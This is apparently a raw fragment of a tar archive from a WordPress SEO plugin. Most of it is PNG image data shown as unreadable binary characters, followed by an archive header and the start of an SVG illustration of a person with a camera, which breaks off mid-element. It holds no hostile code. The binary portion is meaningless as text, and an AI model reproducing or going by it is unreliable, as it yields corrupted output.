-��l,n�n3��m�<"�v��;�"�M�t�sEEE�v�Z{>�E`l{,@ƾ_D�%v�1Z���<�	�ŷ�{"]kR7��4��/mvk ��s�� r�������N�T+�c��*jݳg�6��HkI���.k��t���{O���O�Xh=��j]��2-���bm�l>}��9s��'�jZ�)I"0�u[��'�D7���G=��w�˷s(���w��̃����MftK���W�"E��p�p ���0�É�ƶ^!�F������_~X2L�����������;,l:h�"�r]�K�����~�[��Sm�e�{�S���6���-��*Ja�A���B7�*�	��Z������7�-t:h�.�K��A+++�c:��?�n�E`��$"0}6�sѢr��T�t�#L*;Ԃ�8+��oL�Fl��:O�A�b0gx�E���6l�u��U.L�O��\�E`M����w:ՏE݃{ҷg|jNJ@떝�ݪ�`4�̧��s���D��V�`W�Hȱ������_5:���f�cC;N%�V�nF�['���+c�t��)/��%y���w�"p`p�%[�+wиe\�[��@���X.\h��&�C�V���o�p<��0ŋ@�n�s/RZwf=�� ��ԥ���q�)�`l���$=`J���0���`�-T⃕VF��e�^IZ/���˪�rE�jO�,�ab�c�a��4-0�yZ��M�x�1)�,���D�W ]K��s����ؽ�\��"�d�A7b6��m� Z��hvWu�@,�
��D`J`�Qo�P�̷��b6�n���7,��o��N�֜�;�l�W�SL��b���QhG���'�߿_m�K���[_�&\��)��g��S�D��2�~d ��՟h��O(�LqK�E`�Y����w��<�iE�s��?}�,��T]"����x�zs"}���-"J"m+� ��)GD-͏���Lωe˖]��k�]ϤU�A�ی�ޏ�Ԏ;�P�m�QZ�
&������㺹�c����`N�[�z!�	r#���v;����yY�f�ŪJhK��E���r�j����o�	E��wtt�XU�Yv͹$)�,��/��Al�h�q��jݜ9s����H;:O)i����`��K������݈�4A�K��,�2������w��
����%�֚s������)�����	߷gj'�@��^��.w�+�)"0�pT�l�p^"0�FE��/P
�	v�h�j�[D�;v�w����fF�ٸ��o&��v>�-"��&>��m���G�N��C�8l��bD`v�$V&�@�Vo�D�3�6���7V�n1<r�ǥ�,p��?yy{�P�Xb,Ș ���
�����1�.������UEٿ�f�%����:P�uuD�׶�����ܙ]�W__��JOO�Mj����JzXݖ���VFYR�kllT��3eC���XlF��!^^��?l��w���K�,Q���*
cc7��(�'��_���`=�
z�����m�no��OC�WږG����)q�m����*ê���|s���yYU�n�j���ͪc*�iӦY�K���ŵG�GuOu����U��׽�"�k ]�֭[QGD��kf��JĖ�d�'0�q�%�o/ŋ�Qo��*Oyy�
Ey��e*M{�Z�u���1�ߺ�п��k.�…ϟ?�>02"P�@�TݦZ�	� �x����n�|z�P%�'�jl�`��٭�����)ò�m�\���L9׭�n~��(�7U[�a�BmEe۟E6�}{��v��ߗ�X&)��93�=8�4�C���y���J�Y���n�x%V%�=T��h��������su�fs�vlӽst��Jf��n"I�YY:�R�@aZ��S�ށ��D�H�Q�Awa
�H��-��).P��+���sR���y;��}�z�gpl@����v{_��b��v�����>�ߝ��SJ��3x�b��!0L�Qaۂ�X��K�Uu�"J�eK(G�(&]���>�g�4<=r�¸�g	n6�=�_�U����f�^-J0�G]�{�E�Q��W�z��z"ڳĶ8O	�V��g�.�]��$����˪�?�n�c�%�E਷|(��E��$ *�L#���Hj\y����KID�?&�U�J(g��E�6�)���C��Xl����9����X�)X�e���&���!)U����EN����Zڶ�~ %X6���=�S;E��d0q ���b�wRM�K&U�X�����:�w�w���Hq-T%��Q��s(�4�b��s3lH��6_-r:hF�$V��@٫�	��#)E�|Z:�%Qs��'/o�M�6��jK��E�#M��;�Y�`S���=� r��ʾ}�b�f%=�S�u��>J]]���եQ�\=ף%mV��j���~SQG�bŊh�G�:Mk�W��t�r�����6�u�?����={v�tp������	\p{������0u|Æ
fg�7э|�嗁�2p�
vjSт7UW�^��n�	]gΜ	
�w�	���;�h�[<�2Zա��xWʽ{����XҚ
*Q(��f(�|Ak������%e��;x��g�w4�qYf�1��e ��i/I���g+�U�q�f�^�I�Uz����x�J)5������ع7jȶ�-}�
��ON�	�<���Q�A&|g]��n36ZLI��,݈���
Ԉ��E+I=pv���`A�۲e�Q�ǢSL��/�m߾�T�wR�`1��ۊ�Tm\7(P��|_pN|ߞ��ް����b�%�Ξ�$��.'�c���S�9+��_�Y���\/Z�(���ԻJ�
A�޼ys4،�\�
@UW�θz��!�ƒ>�a��#oց;s��k�5kl�i�&_�[b#{�oS\����U�����wL�of�A��o���\\�/�\
��5w���884���=��c���@:u}%"�o4Ϟ=+߱��*vw�(}}}�Tϲwţ��8F�7O)�T��Ժ=F��i�\9���̌�m���)��t䲨��sE���R3c�����'wтW�'ݎ�����;G��j%�Fv�ꩬZT�)T�j���LZdc��u5
�z9O�F�:�~ �>Q4�{�-Y�]�V]�Y��*�*�F����M�<�[�#6��u��n�ʙ���)݈�ϗ��n}Hi�Owfu#��$�5��Ȧ:���O��[qa�W�V�������c�g���<�G�&��:e�N��["N�E�Ӂ+���A�S�\�[��e��I#@%���RS�>]}i}������-=�#�/^�.�#l�d�f��@D <������[ܚ���!/>*�.�D��{A ��V8�u����D$��ظ~�q]�PZ���fϞ�`��-[��}�}"�@@"��D  �@@ ��Xæ#W�7t<�3r������18D� �����g����뻐�}s��y{���G�쟱��W��G�P�/}C���~�z��U�>����o.�5ucD �"���A�}�r��G^_{��E�����=�m�V^nw&���2���'/oO*ٝ'�Mdft9���W�� �G��v��ݧ�g���ȝ�-,7a�ܲc+�խ>pY�Ѝ��?����z��Y�˿�� �}�ȅ+V�;�o,��Z���(��[�MX~���#�⿼�w"�pO.
�DNj(�g��������_q����Q�{��Lÿ��t��`u����t�,
m��nt
FB�ș�x�s0W葾��+7{.4v����ɰ*mx�N���G�ܹ�������o���mC�#uM��n�&e#��ú�-=9�p�̍m�.o%Yz���=`
�S��i����%�7�T�U�^����z[7�墽�C��$M%;���jj��Y��T=�[ng�w�+�RG�qU0��o`�`X@9�z뢺��d�ޏ�.�l?2{_\�T�PU^Zu�$
P��'IȢ��-�$��� �㮜�r����r=M]�����P��ۏ7��>���<�詤(Lx��|�������T�������[{|9�to�ş��}����־�M�{�7����\R3IJ	ȥ�s>}Sew�`�B����O����Z,<�)ܷ�jn%�Sum�o����u_�T5�����\��7U%��qif~Q��%{k|����g'[�2u��͵�%<��K9u}e�퍶�?.9���5�qJ�V���E��}~�V�@R��v��_g|,�S�����ꏝD�g�+&x��PkR_�d,G?3G.��\V{����^݋�UC��4�j}�o�Wi�YU5h�G��hC�G%��"Td�"�2J{QD`Qȇsn�_ם��^r�W쫋�3���矧��;)�Ŋo.�)gl>�<c��?*]��'3I(Y��u�㵷�"�_D��Oc8��C���{r�得_}W�I9٫���O��=�3iC�/��A���OIVs�KR0e
\v�Z�~�ǜ{r�a�>&ݷ�_t�tZPs�
0������/��B�܉@)F�=��yn�1w�ؚ���]�r��H�Ʀ�L
n���{�F�e#%�$��U�^ot��(�M,
f����ةTp*�,��@�L:O���7�zV7�~����T��K�Xt��gy���\��ʾ;U�v��{��+�Rߏg�{�:����o����G��Gַܖx�������o����K�9s�����և;��	Qh���-=[�5�B�
��jU���,RA��[�
�r����՝�
��N�4��?�_��Ov׸>��	���B��M�f_W��N*H��}�D�ouZ7�QmR��g�NbT=�t䪪DZ�VSVϯ8>rw ϯ��,(��V]mo0\�M�;�����=���N�\�= ��Z�*�3��B^��gF������gᮋ�4�"(���N�]�U�7�Wל:^{����X�-��|괲ۯ?<�
ΙцUd��TEYq�UUs����J~QD`)E�|\B�-=�~QٍD��Hp^��?;h�ok�h�N��_���|����9��� �_���?d�b��D	y���	��vy�<����zJ�0GּOI��ăC#6b��g��|�:��;<r�nY��[{:��m��BY������o�n*��7A�WW|�v�ƛw��p�c�Uy�-�����@�ן�V�ܿ8�$�	̫�̜�q�7�P�/4v����?t5�@�4�)kN�x&hj�2ˏ�'IZ���lST6���?�+��,���R��Wל��Qs���~��Á#��_x0z�MG~�kmR�����t��
������ed��5b�����#�H��#6��Pr���}e"d\E��ȝ`dF̆�jZ����G��}峓���CTF���=�;"E�,��D'��� ��/��	|�j�O_/�94�$�*G�Lt~�ɺ6���,��.�;�h�2#�5�@�
7���͢���Ν'���m瓔g�@�R����8U�k���ǜ���w��[���;���AQe��&�I������a���Y�K�g}����[�VްM�Ox���ܤ�e��Z�U
&�:t#N0ې�x�ڔμ����Ƽ��g:���nay�+WslY�ݲXP��� ��V <d��[�U\l�
�t�W9Zf��	7���_{WᅵTmR(�Ɗ770��ˢ�l��h���M.�E����T:ߕ�zEE�EŒ���辝s�Cu��O_/�&�ވ
2�l|)�+7{�_q<)HFTN�T{w���A4މ�-azd����Cr�N������m,��9AW�/�����e�le+�R>V�R*���6A$R�F
'��"V�[�)����T��k�}��^�%l�.�j=f�L��;LZ�� �8��j���@��/��6�vlJ�-~{t��-,7�5_�&%N6h�F���"��t<�X{�[[b�.G��x��~?���?�9�"��ګ�J��Z��R0�Go���V���,l6Z�;�h�k�2n#������u?��_a�A?�S�tЃ��Ab[V����ۏ7$�Q��kP�ڲ���n +:�xh�o��
����ݪ3�֯����E_{M�I�%���x�S���m�X���sk��o�[C<P"p�n�Ƽ�Rĺ���:="]}�I1EL�DE`�0.�Eƀ"W[z~����o/��@?�
���1]���'[X`��E����}u%�F��-�}ig"0��2�r�KY{��{[��&�c!y�ޖ���1��c��&�F㷄"0zQD�d��>�.��>�l��ݰNT\l������C�� 6�A��[�lôX���=�Ena�傜�ۙ}h3�r�x4l�lz����n��M˴9���-"����?�E�̫��T�3^J�Tur�
�1c��=	V�,K+���E�ޠ&�qG���;�}�IJT
0V��Y���Gc�ݷ�.b��Zw��r�����N'n�I����"�߫Z�|��+7{6�_M٫:��V���Ãe'�ߡ^�a��Q��=	� n��������0*I"�E�<|������L$m?e�)y�m�o�n�0��lo�����\�^l}d�>��/;�e�,��Rs��o �.�5['ձ�\��RƩ��nÞ�%ۄ@��q��W��$���,�$"��ݵ��'�]�t��ڭޯN5Z�D�	�VH��Q�xn����>�E��Xh���8�O_W-r*(�r�K_{s�ns���Ϋ��fU�V��i��j��z�ݻ/^Xy�XM�-C�%-@��@�G٨n���	,���#w�N���!��ݤh���;\�����ug��
�ȵ��\��#��$�ڢ2���%GG~<�M�ͻ�~���"�w���c#x�9��G�$g�]h�͹}��S��o��M,=f�6%�¶I�~��ӧ�~]y#�$2`��ֱ�@P!�c�"������c*�~$�{l����SwwD���W�}��{�7I�I&*�Ems��6r�� �Ơ����u�3���7�7����6g*G�^�K��Fb#�0�+�1�s�թF[t�,^�jl�}~ŏ��1튋�r�{�:lxg���؁�㵷���\{�J啶hNF�&��Zm~|FW~v�`�ȩ�ؚd�Ov��}���
����Ό��_�o�����;O\s���PM��U�@0�rK����q�Z���`ba�rLɌM��qY{�ݧ�G��N+
�7?�X|Tc�]��MU��}�#;�W���컎��tQw9'�h9"p����kꮹ���5��&v!##w�;�.4vJ�e�<͆�3dσ|J��;KO984"ɤ��Ȑ�����]J9��.t6��`�^N��+���:}]rW�'KtJeFR�p��g����K7�d�¯+ɧ����̼�!{�&˫'��*��-ۏ7>3s:�
0��ɒ�qaKU��-�[rb.�$����HYwć>���Q�w<*��Ç"�@@"��D  ��D  �@@"��D  ��D  �@@"��p'6A���F"�	���h?���2��
4!6D�}#�L�I�
��?F��;�U2�	}5�=�p�?����z{{���?su�����S��oW����w���O�{��m%s�P?D
"�P�N��?I;i<S}�%Sb�č�D"`�)@��900�����ӳ�,�/���s�D��	��@D L
����n�`�HA7*� C��@�\
������{����+@�ѩtB|�u "&����}�vWW��Y�R�?�Y:�N�K<�:����yϕ���Y���Ϫs�W�]��rղ�+��X����7w<QZ�>�W����t "��/]��
p�`��J)�O�M��p/���scÀU�-?��ӓ�8����q:�_��[�!��1�{����%�>]x��V������������8�ҥKeee+W�\�dɶm�Ξ=��t��Ԭ_�~Æ
R�4T��P�RU��~)��S+>=�t��O��&F�;2�����������;v<��+�#�<�g�D���ŋ�|�ͩS�^�|9gb�L)���o�)yNV�X��F���
P<��Aǖ.Yxx��(@�imm���p�B��D~pppڴi�+�m۶=�"�$�����S���/\�?�>jK���[�z5�(��z����/
L~����+*W-=�&�.~c��H����6)T�.��q���?nb�駟^�d���Ǐ=*���_�Ҿ*++{�E�~�+���vJ���rK�����zJe�o��o��\�뭷���DR�D�D`�g."����y�?�"p��oii����������8844$_�y8?���:$�I�����ͩS��߳~��������D��Ba
p��j@7��|��N�t����u�VWWW___��իW;����ťK�b�����w�$��t���nS"R��cH[>�"��GMJ����ϣM��o�>��
,��/_���β%�ٳ�k�������T�TKr��hll<w�,�3���͛gϞU]L�y{{{�I�ZtEw݌w�B�ϣ��N��AX�T4.\�Y%�5���S�.o:C�k�*���j]���?��u�/^�q�FR�E��V������$U��(ܿ��
��j��a�׷�z�E��ʂ���"P)���9�F�-%�l5~v��'�pެ<=�C;�x�W2z}���O��M�����@9Ћ-����?��K/����}�����+W�̚5Ki��|'�@���ww|���9��,�p�]���G�SN�6-}B���³�>���?��?w��+c�lx����Ć���/�ؼy��m�֭���ru����1��T/^lFv�U9�+�PFǦV��O�/�ˣG��l��'x������W��>�g�-K
f1�L�s���M���MB(����2UGT�|�
U0�� ��q��k�ɌO?���~�…&�e����3f�*[p�?���ǥ�(��<tlw�.<�ɂC_�zD���.1&?���;���3g�t.�ל����i��X�V���	N�|��םk�ꫯ�Z�};e�I�@J@J�wǛ��,�]��o��%�@�����?{6t��ؔ*�,CI�.�(�3g��O�ʤ\IC�2C׵�i?����o�{�/��2���o��2��^(�N�J�ӕ+W�3�*�dF��$e>�a�����ꫯ���3Hh��i���hii�S:
�3�/�4�LF�=�j��J�<�t0�F	/
���>.�7t��sAL�@����nFh��0�/]�x1�e��?��%���pGΝ;�E|�C�*++���<h"p�ԩ.t�'�V�={l�0*׬Y���(c��TzS2���o��;q��ɓ'c����M	���9'gφ��|ꩧ�a�>���ص,X�~��7o���i�?~�…�K��;��{��xv�$�������w��!7��٣"�1o޼���9Q��*��_\c���6��g۔���7�CW�^��;�jժ��bY�Ȕ�S#ܿ�{#�l��S�φ�זd��1d���gF�L��z?����?}��*aǥ�������6n�h��>��M��%֩t9�T��������*��I�2���
!���ȾS�r3`��{���v��������&>��ۭ^-Z����/�������`P�\�OO��3��Hn�wy2g���42�elΔ�����Ӗ{�'6�s�ܹ�4�-[�,H�VO���;���3gʡ�W|b��:�ŗ��
��@��y�ɞ
��Fu��[e�\\�d�\����pG��L`�UV��F��GE�3g�����O6X*�$V��ʤ���v�Y(����w�y�?.�(]'[�*+iM`^F�3�k��)5K;hsG})�Ƀ�H�.�� ț]�P�1��%'��Xlɬ��g��Ǔ���Ć�۷��7o�lb��D�X\������W��#���"����']VTTS�ұ�c�*�l;ߣ|Ny����n�LF��{��ew�7n��I̚5���f>�ڵk��}h�]�hQ�7͆D�;�/l��b0�Z��~9�&�B�Huuu�
6��^�^Ծ}��g���?���J�^{���m#M4&�$�2�e&�l ���~��Ht~���p��: :v��Ņc477�v;r�H�RWw�⥗^
�X46���΢���O�6����T��Z~�9�����qㆿ,0E~���αY�xqN��k$.�b��K�.������?�"�4���ƻ��<K7@�"U6���ӧ�1�ܹ��gآ/s�m�*V���drf�4�sܕ�`AW
6C5gb7���4T��$=�2���FUq}}}�,ЦJ��1J�ڴiS�B�4Rw:mUUU��A�2�e��ɓAb�jhhpG,�������E�I)����6ĝ�M�����?�ɽ=	��0�ص��5U��(G�ѝGջ���¶�wQa>�^~�9�G�~|���J677g�
c3��D��!.{�n#O?�t4�M���zD�M�������sn�-�����*JT-h�H^��1�ް�r�ʕ9��XH�h �$��4*�љ1�g�b�"0����aY�wtL������я��x��W����"0_#�dfǎ��3���P�i.����g޼y�T������
g�,z�浦c��$D��S+����@�-0E����Y�=wHȸ�3g�tG�ٺ#�q4�{�羍�f@D�^ŅӴ�����$h�$6d��OX,�bD`��$�g�q�ҥ�s�
��?�ymmm�UΟ?o[5LZh�N����9���^H�[��~#�x����L;���L�29E���Ml9�T����~�K'�\}xZv��G9�Fj0�&~�
[%�8%���V̹<�>�2������.t�`#��o߶9�gΜ�KŶ�WJ�<y���؆u)䕍��7onܸ�"��N\4l�^+%�¦�/�rf2���]����ؿ�-t:hN8zw2��-��	�������q�tP7��Z������Q��,>A��5e����[�Fw)��…�~�M���
4�'���R�7"p��fh?���+++��#Qh3�sdmff�"�->�	-�e��x�����m�z���
�(W�*x��	e�	-�H^�a���f�Ǭ��@���<����*�y�@]ݽ&H/�l2@����ׯ�
�&_=&��<���?���^���zOD��׳�@[ԗ�����i�C$�ǎz����Lh�j�'�X �4��p�̙�����ٽ�~�O^ِ\����U���6ƕ�9-j0>cZll��-"����G�y��o��a�x)���d(i�`���o7aR�L�ED�s���-"F�B��L�c����Ay��w
�iW�Ƕ��9���-"��c�U�ض���Pe�=��Z���C�����a>�?�O;#t�3�%0̨�>6x�|'���<�m��q��Xg���^LȨ�I�*wY��t��T^�Ta����W6�����#�C�W����C緽��-&=f+	�}�ݓ'O�v�	����}�_y�oll�(���@����&FK©��2�Mw6m�^(���߻wo{{�l(�f�C��֮^x�#G��T��y�@���J�8p@�8{���o�}U�6��?�	]�lQ�?��o�u�Vi~)��ӧ�nɘ��ʣ��[0!�;����S�tD�uSac�	,��� ��``���my|B���D`�-"FǦ�����.^����B>�[o��F8�͛������Ιs���
f&�OZ��;+/������	��r#ٳ�����"_���&��T	�BS����~�00 ���c,�Tl5��Cݕb��&'N��`��D���п)�hQU7U6����o~��^?���E�9�ǂ�FӦM��.\��Tٞ}�Y������c7�����D����F����;$�L��S]>���aC��O���ӹ�9w���D��������ݸ��'	h��t�/��UWUU}���&�Mg_�z5��U�V�o%����8��!:;;%�}�Z?ԑ�Հ>r�m��Ƃb��hmm��)�)�`ҩn-%�hʷ6�s�֭�qɃ�>��$�
s[��,�"���-��yϴg���&f4BJf����WA� �~ wu�?�0�������N
V�AtGDu=,L��/�����qG݋�`%����ʕ+m���ӧ��VVV��d�
������@���\�IŒ���?����	\}p��@���o��"���hѢ�[3�-6ޤ��}}}�Wr��XBTH�Fٝ�ɐ�[�n�g��Kc���+�p��yU�����I_�w݂�8Iyy��'�M��c
2~F���nԙ[ZZ
{O�+o���?cM*k�Y�/2]WWW�Zա�Վ��UE���ʖ��BϮ^Q�j��K�}��nl��t
Џ
#�K�Zʂ���z�̙�;w�_�~۶mG�
�dLf���
%���9�@�
�ò@oF�;_M��a�`A`zT�	D ���C����O�ڌЉ�j
�����@�x�{���\���g��������ӁN�À�C`^sA�y �%�5<<���������������$a&y�t�۸*@T�V���@��Ձ������]]]mmm7oޔ03XZh
Ђ��Հ��A(���n߾�����������J���+@4X
��844����������Z�������.�K?<AA�p�E�p��6)4I:)8m��e�~Jȿ@�DP
���ݤ����thj�	Bӄ�o}Uo�'&)@]�M}��0)t`�L��qg�*��jwxD �:����)��?�
���"����������0�Q
Zb�u�J'�i���:�ʼn������pC�&}5��K��ԩtB	�!W��@��:����
	J�ݺuˍ
�	�&��o�̍����	Q��@�tR�m"oC�===N
���95���#�q?����~����ö)<"�hRppp���ߍ
vww;5����6�-wD_9��n�O?�IL���0yu�I���ɹ��^I�����1�<�}�J����? "�3)844�Ԡ�n��pGܷJf�?��@�����C�+_�!��p�A_�	�"XM��C"�@@"��D  �@@"�@@"������%�bU�IEND�B`�wordpress-seo/images/video_plugin_assistant.svg000064400000023170147510273100016126 0ustar00<svg role="img" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500" focusable="false"><path fill="#682b4b" d="M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"/><path fill="#fff" d="M420 0H80A80 80 0 0 0 0 80v340a80 80 0 0 0 80 80h75.89L437.61 2" opacity=".13"/><path fill="#fff" d="M46.1 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L112 236 75 119.8H34l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z" opacity=".3"/><path fill="#fed8b5" d="M340.94 276.32c1.11 4.6 2 9.32.23 12.6-4.47-4.16-5-19.64-7.07-26.58-37.9 80.76-77.59.62-78.32 0-2.13 9.43 1.25 20.63-5.35 28-.13-.91.08-1.69-.1-.83a121.37 121.37 0 0 0 1.38-16.51 2.55 2.55 0 0 1-.34.72c-2.6 3.22-21.17 10.05-21.17 17.48s31.17 29.25 67.53 32.57c32.16 2.42 54.56-11.11 74-29 2.4-2.91-26.28-16.5-30.79-18.45z"/><path fill="#eca96b" d="M250.43 290.32c6.6-7.35 3.22-18.55 5.35-28 .73.62 40.42 80.76 78.32 0 2 6.94 2.6 22.42 7.07 26.58 1.73-3.28.88-8-.23-12.6l-.19-.08c-3.89-1.59-3.87-35.82-3.87-35.82l-5.15-.12c-16 11.88-28.84 22.84-51.19 19.73-12.49-1.73-23.3-6.37-29.91-16.73.9 8.44 2.47 25.44 1.08 29.65a121.37 121.37 0 0 1-1.38 16.54c.18-.84-.03-.06.1.85z"/><path fill="#fed8b5" d="M285.58 71c-45.49 2-59.75 44.16-62.35 65.52s9.87 87.23 13.54 94.86c3.87 8.06 23.12 43.31 58.11 43.9 30.83.55 51.12-39.92 52.26-43.9 3.22-11.3 8.37-74.21 7.41-85.51C350.1 93.26 317.81 69.7 285.58 71zm168.73 319.6l-1.14-3c-.13.09-.27.16-.39.25.51.86 1.01 1.8 1.53 2.75zm-12.79 34.12c.7 5.56-5.2 8.65 6.23 10.89 8.26 1.6 18.77 3.9 26.86 8.62l-14.23-37.6c.21 1.09.44 2.15.57 3.31-9.33 5.46-16.08 8.57-19.43 14.78z"/><path fill="#eca96b" d="M447.75 435.61c-11.43-2.24-5.53-5.33-6.23-10.89 3.35-6.21 10.1-9.32 19.43-14.78-.13-1.16-.36-2.22-.57-3.31l-6.07-16c-.52-1-1-1.89-1.53-2.78a63.41 63.41 0 0 1-11.46 6.15l-22.69 14.59a212.62 212.62 0 0 1 6.47 21.76c1.76 8.16.62 9.87 8.78 12.6 10.6 3.61 23 4.37 34 6.81 3.06.68 6.59 2.23 10 3l-3.22-8.53c-8.14-4.72-18.66-7.02-26.91-8.62z"/><path fill="#fed8b5" d="M165.51 429.34c-2.1-6.49-12.31-7.4-17.69-10.39-7.35-4.07-8-2.93-11-10.54a.51.51 0 0 1-.19.09l-15.46 40.24c.3-.2.57-.39.89-.59a195.92 195.92 0 0 1 43.45-18.81z"/><path fill="#eca96b" d="M146.34 383.26l-9.69 25.24a.51.51 0 0 0 .19-.09c3 7.61 3.63 6.47 11 10.54 5.38 3 15.59 3.9 17.69 10.39a195.92 195.92 0 0 0-43.43 18.81c-.32.2-.59.39-.89.59l-5.39 14c8-4.63 16-9.41 24.31-12.91 9.58-4 19.58-8.42 29.38-11.87 5.43-1.9 12-2.6 16.83-5.82 1.33-.92 5-3.83 8.93-7.12l5.8-11.27z"/><path fill="#fff" d="M264.48 190.39a6.21 6.21 0 0 1 6.21 6.2 5.83 5.83 0 0 1-.15 1.33 36 36 0 0 0 6.41-2.78c-5.66-13-21.79-16.94-27.43 0a25.31 25.31 0 0 0 9.19 3.68 6.1 6.1 0 0 1-.43-2.23 6.21 6.21 0 0 1 6.2-6.2z"/><path fill="#280415" d="M270.54 197.92a5.83 5.83 0 0 0 .15-1.33 6.21 6.21 0 0 0-12.41 0 6.1 6.1 0 0 0 .43 2.23 24.39 24.39 0 0 0 11.83-.9z"/><path fill="#fff" d="M315.35 192a3 3 0 0 1-.26-1.21 2.67 2.67 0 0 1 2.46-2.84 2.35 2.35 0 0 1 1.88 1.05 6.77 6.77 0 0 1 1.81-.27 7 7 0 0 1 7 7v.11a26.53 26.53 0 0 0 6.25-2.94c-5.67-16.94-21.8-13-27.44 0a35.78 35.78 0 0 0 7.24 3v-.18a7 7 0 0 1 1.06-3.72z"/><path fill="#280415" d="M328.22 195.82v-.11a7 7 0 0 0-7-7 6.77 6.77 0 0 0-1.81.27 3.07 3.07 0 0 1 .59 1.79 2.67 2.67 0 0 1-2.47 2.83 2.46 2.46 0 0 1-2.2-1.62 7 7 0 0 0-1.09 3.72v.18a23.69 23.69 0 0 0 13.98-.06z"/><path fill="#fff" d="M317.55 187.94a2.67 2.67 0 0 0-2.46 2.84 3 3 0 0 0 .26 1.21 7 7 0 0 1 4.08-3 2.35 2.35 0 0 0-1.88-1.05z"/><path fill="#fff" d="M315.35 192a2.46 2.46 0 0 0 2.2 1.62 2.67 2.67 0 0 0 2.47-2.83 3.07 3.07 0 0 0-.59-1.79 7 7 0 0 0-4.08 3z"/><path fill="#77b227" d="M402.86 500H198.14l-.49-88.19c-19.36 7.79-61.46-23.72-63.41-30s6.76-11.15 6.76-11.15 24.68-51.3 38.24-61 58.08-29.54 58.08-29.54S251 316 295.92 315s51.77-35.82 51.77-35.82 64.34 16.44 81.8 37.28 31.95 70.13 31.95 70.13c-20.05 17-40.21 32.94-62.34 29z"/><path fill="#fed8b5" d="M208.79 157.24c-9.09 4.7-2 22.26-2 22.26a161 161 0 0 1 10.65 19.35c2.91 7.28 2.91 11.62 7.27 13.56 3.74 1.67 9.66-2.41 9.66-2.41l-7.22-37.28s-7.84-20.91-18.36-15.48zm162.74-5.97c9.49 3.76 3.38 22.1 3.38 22.1a162.49 162.49 0 0 0-9.38 20c-2.41 7.43-2.13 11.8-6.36 14-3.64 1.9-9.82-1.79-9.82-1.79l4.83-37.66s6.24-21.04 17.35-16.65z"/><path fill="#eca96b" d="M297.4 177.16c5.24 41.93 5.53 41.33 4.75 43.77a4.39 4.39 0 0 1-3.69 3.36c-3.51.18-5.19-5-8.78-5.2-1.32 0-2.73.57-4 0a3.3 3.3 0 0 1-1.92-3.45 9.73 9.73 0 0 1 1.51-3.95c-3.72-.32-6.5 6.23.46 10 2.06 1.12 2.73-1.11 4.86 0 2.6 1.3 5.79 9.36 13 5.56 3.35-1.76 3.06-6.62 2.44-10.39q-3.27-18.85-6.49-37.74c-.25-3.31-2.48-4.35-2.14-1.96z"/><path fill="#aa6d2a" d="M276.54 159.16c-14.5-.41-26.63 11.15-30.5 14.52s-5.79-4.36-2.88-7.79 23.71-13.56 28.57-13 4.81 6.27 4.81 6.27zm28.99-6.78c-8.24 1-10.16 11.15 0 9.2s32 3.4 33.77 6.31 7.79-1.45 1-6.31-26.49-10.03-34.77-9.2z"/><path fill="#eca96b" d="M268.2 232.31A2.75 2.75 0 0 0 267 236a2.61 2.61 0 0 0 .17.28c1.77 2.76 23.23 11.25 25 7 1.54-3.59-4.38 6.18-23.97-10.97z"/><path fill="#280415" d="M276.64 193.45c-1.66-5.19-6.34-10.62-11.87-10.73-8.21-.15-15 3.72-15.17 12.42 1.77-8.23 7.64-10 15-10.16 5.51 0 10.68 4.94 12.42 10.16a9.86 9.86 0 0 0-.38-1.69zm31.74-2.08a10.28 10.28 0 0 0-.25 1.74c1.74-5.19 6.44-10.23 11.94-10.15 7.36 0 11.93 2.26 14.19 9.84-.31-8.23-6.13-12.26-14.34-12.1-5.69.02-9.87 5.35-11.54 10.67z"/><path fill="#eca96b" d="M356.42 392.46s-5.82 3.37-2.91 11.61 27.09 19.85 29.95 28 31.45-6.78 16.44-13-30.47-26.07-36.78-28.53-6.7 1.92-6.7 1.92zM213.36 165.73a8 8 0 0 1 8 2.81 12 12 0 0 1 2.59 8.39c-.18 3.22-1.32 6.47-.62 9.61a25.7 25.7 0 0 0 3 6.13 8.78 8.78 0 0 1 1.3 6.52 3.07 3.07 0 0 1-2 2.26 1.76 1.76 0 0 1-2.19-1.19 1.37 1.37 0 0 1-.07-.34c0-1.07 1.17-1.72 1.72-2.6a4.08 4.08 0 0 0-1.17-4.57 25.18 25.18 0 0 1-3.64-3.51c-3.22-4.91 2.6-12.13-.44-17.12a5.51 5.51 0 0 0-9.43 5.71 5.58 5.58 0 0 0 1.14 1.33c-4.14-3.48-4.08-11.89 1.81-13.43zm157.84-6.83a5.47 5.47 0 0 0-5.2-.67 12.26 12.26 0 0 0-4.49 3.06c-4.78 4.57-8.52 11.33-6.58 17.64a17.06 17.06 0 0 1 1.67 6 12.28 12.28 0 0 1-1.72 4.6 6 6 0 0 0-.65 4.75c.65 1.54 3 2.32 4 1 1.41-1.79-1.27-4.34-.72-6.57.39-1.56 2.2-2.31 2.91-3.77s-.32-3.92-1.41-5.63-2.15-3.93-1.09-5.64a10.9 10.9 0 0 0 4.55 3.82 10.7 10.7 0 0 1-1-13 6.17 6.17 0 0 1 5.5-3.07 5.85 5.85 0 0 1 4.52 5.67 17.11 17.11 0 0 1-2.15 7.61c2.32-3.3 6.01-12.39 1.86-15.8z"/><rect width="90.03" height="63.41" x="300.25" y="339.7" fill="#393a3c" rx="5.82"/><path fill="#959599" d="M300.33 353.26c-2.18-15.59 3.41-13.56 8.78-14.05h72.48c5.37 0 10.7-1 8.78 14.05-3.41-10.18-3.12-10.57-8.78-10.18H309c-5.45-.34-6.33-.47-8.67 10.18z"/><rect width="56.14" height="109.86" x="238.3" y="325.18" fill="#393a3c" rx="5.82"/><path fill="#393a3c" d="M291.06 355.18h13.07v18.39h-13.07z"/><circle cx="265.89" cy="357.13" r="21.14" fill="#959599" transform="rotate(-80.78 265.904 357.133)"/><circle cx="265.89" cy="357.13" r="18.55" fill="#393a3c" transform="rotate(-80.78 265.904 357.133)"/><path fill="#04adbf" d="M265.65 373a12 12 0 0 0 11.3-7.25c-3.32 2.39-17.79 3.07-23.25-.83 1.8 5.74 7.95 7.95 11.95 8.08z"/><ellipse cx="257.72" cy="349.46" fill="#fff" rx="6.29" ry="4.1" transform="rotate(-49.71 257.715 349.46)"/><ellipse cx="269.24" cy="354.04" fill="#fff" rx="3.27" ry="2.65"/><circle cx="284.64" cy="423.55" r="5.2" fill="#959599"/><circle cx="284.64" cy="423.55" r="3.69" 